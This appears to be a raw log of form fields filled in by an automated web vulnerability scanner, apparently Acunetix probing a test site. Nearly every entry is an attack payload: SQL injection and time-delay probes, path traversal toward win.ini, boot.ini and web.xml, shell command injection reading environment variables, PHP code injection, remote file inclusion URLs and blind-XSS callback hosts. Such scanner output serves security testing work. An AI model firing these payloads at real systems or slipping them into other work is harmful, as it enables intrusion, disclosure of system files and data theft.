dkipbpvf:

response.write(9808662*9479324)

dkipbpvf:

'+response.write(9808662*9479324)+'

dkipbpvf:

"+response.write(9808662*9479324)+"

response.write(9300905*9497945):

1

'+response.write(9300905*9497945)+':

1

"+response.write(9300905*9497945)+":

1

lyluoeix:

1

lyluoeix:

1

oxlpsltw:

Wk0WzjzM

x0aV1f6U:

1

isdnnonx:

1

tfujjwwk:

1

ynkycwsc:

1

gysprqae:

1

gysprqae:

1

gysprqae:

Qs1c7p11

gysprqae:

-1 OR 2+446-446-1=0+0+0+1 --

gysprqae:

-1 OR 2+47-47-1=0+0+0+1

gysprqae:

-1' OR 2+880-880-1=0+0+0+1 --

gwspbbwf:

1

gysprqae:

-1' OR 2+763-763-1=0+0+0+1 or 'sYAiVqTs'='

gwspbbwf:

gwspbbwf:

12345'"\'\");|]*

gwspbbwf:

gysprqae:

-1" OR 2+660-660-1=0+0+0+1 --

mhdpyhwv:

../../../../../../../../../../windows/win.ini

gysprqae:

if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/

mhdpyhwv:

../../../../../../../../../../boot.ini

gysprqae:

(select(0)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(8)))v)+'"+(select(0)from(select(sleep(8)))v)+"*/

gysprqae:

-1; waitfor delay '0:0:8' --

mhdpyhwv:

../../../../../../../../../../windows/win.ini

mhdpyhwv:

喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟windows蠟win.ini

mhdpyhwv:

................windowswin.ini

hwaclbhr:

set|set&set

hwaclbhr:

'set|set&set'

hwaclbhr:

"set|set&set"

hwaclbhr:

set|set&set

hwaclbhr:

`set|set&set`

isdnnonx:

1

hwaclbhr:

print `env`

hwaclbhr:

;set|set&set;

isdnnonx:

isdnnonx:

isdnnonx:

12345'"\'\");|]*

isdnnonx:

1

set|set&set:

1

12345'"\'\");|]*:

1

'set|set&set':

1

"set|set&set":

1

gjvmfpyn:

../../../../../../../../../../windows/win.ini

set|set&set :

1

gjvmfpyn:

../../../../../../../../../../boot.ini

`set|set&set`:

1

gjvmfpyn:

../../../../../../../../../../windows/win.ini

pwxefumi:

${10000388+9999956}

print `env`:

1

gjvmfpyn:

喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟windows蠟win.ini

;set|set&set;:

1

gjvmfpyn:

................windowswin.ini

gjvmfpyn:

..\..\..\..\..\..\..\..\windows\win.ini

${10000389+10000329}:

1

gjvmfpyn:

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

gjvmfpyn:

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

gjvmfpyn:

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

NGU4VFgwaUs=:

1

gjvmfpyn:

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

gjvmfpyn:

WEB-INF/web.xml?

gjvmfpyn:

WEB-INF\web.xml?

gjvmfpyn:

/WEB-INF/web.xml?

kcmyrprn:

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

kcmyrprn:

1some_inexistent_file_with_long_name

kcmyrprn:

http://testasp.vulnweb.com/t/fit.txt?.jpg

vcpeboob:

)

kcmyrprn:

testasp.vulnweb.com

vcpeboob:

!(()&&!|*|*|

lyluoeix:

1

vcpeboob:

^(#$!@#$)(()))******

lyluoeix:

1

lyluoeix:

OVqjPioD

lyluoeix:

-1 OR 2+749-749-1=0+0+0+1 --

lyluoeix:

-1 OR 2+929-929-1=0+0+0+1

lyluoeix:

-1' OR 2+360-360-1=0+0+0+1 --

lyluoeix:

-1' OR 2+44-44-1=0+0+0+1 or 'tNYTKtWS'='

lyluoeix:

-1" OR 2+617-617-1=0+0+0+1 --

):

1

lyluoeix:

if(now()=sysdate(),sleep(15),0)/*'XOR(if(now()=sysdate(),sleep(15),0))OR'"XOR(if(now()=sysdate(),sleep(15),0))OR"*/

kcmyrprn:

Http://testasp.vulnweb.com/t/fit.txt

!(()&&!|*|*|:

1

lyluoeix:

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

^(#$!@#$)(()))******:

1

lyluoeix:

-1; waitfor delay '0:0:15' --

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg:

1

lyluoeix:

-1); waitfor delay '0:0:15' --

1some_inexistent_file_with_long_name:

1

lyluoeix:

-1)); waitfor delay '0:0:15' --

Http://testasp.vulnweb.com/t/fit.txt:

1

lyluoeix:

1 waitfor delay '0:0:5' --

http://testasp.vulnweb.com/t/fit.txt?.jpg:

1

lyluoeix:

Qsm8m1mO'; waitfor delay '0:0:5' --

testasp.vulnweb.com:

1

lyluoeix:

5rOT8oqd'); waitfor delay '0:0:5' --

eilosgaf:

lyluoeix:

AxLa368c')); waitfor delay '0:0:5' --

eilosgaf:

'"()

lyluoeix:

-1;select pg_sleep(10); --

babmwqfm:

http://testasp.vulnweb.com/t/xss.html?%00.jpg

lyluoeix:

-1);select pg_sleep(10); --

../../../../../../../../../../windows/win.ini:

1

lyluoeix:

-1));select pg_sleep(10); --

../../../../../../../../../../boot.ini:

1

lyluoeix:

u8MZzCnO';select pg_sleep(10); --

http://testasp.vulnweb.com/t/xss.html?%00.jpg:

1

../../../../../../../../../../windows/win.ini:

1

lyluoeix:

tbRbq2e7');select pg_sleep(15); --

喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟喇喇蠟windows蠟win.ini:

1

cxuyahnk:

1

lyluoeix:

mEFUkm4a'));select pg_sleep(15); --

................windowswin.ini:

1

..\..\..\..\..\..\..\..\windows\win.ini:

1

'"():

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini:

1

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini:

1

oguheunc:

;print(md5(acunetix_wvs_security_test));

oguheunc:

';print(md5(acunetix_wvs_security_test));$a='

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini:

1

oguheunc:

";print(md5(acunetix_wvs_security_test));$a="

xxrblptb:

http://hit1KgTuKVgil.bxss.me/

oguheunc:

${@print(md5(acunetix_wvs_security_test))}

oguheunc:

${@print(md5(acunetix_wvs_security_test))}\

WEB-INF/web.xml?:

1

WEB-INF\web.xml?:

1

http://hitloJWYtVuMP.bxss.me/:

1

/WEB-INF/web.xml?:

1

cxuyahnk:

1

cxuyahnk:

comments.asp

cxuyahnk:

comments.asp

gbayaati:

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

cxuyahnk:

comments.asp/.

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))):

1

;print(md5(acunetix_wvs_security_test));:

1

kvjufvmc:

/www.vulnweb.com

';print(md5(acunetix_wvs_security_test));$a=':

1

cxuyahnk:

1

";print(md5(acunetix_wvs_security_test));$a=":

1

comments.asp:

1

/www.vulnweb.com:

1

${@print(md5(acunetix_wvs_security_test))}:

1

${@print(md5(acunetix_wvs_security_test))}\:

1

comments.asp:

1

comments.asp/.:

1

reoffyor:

'"

reoffyor: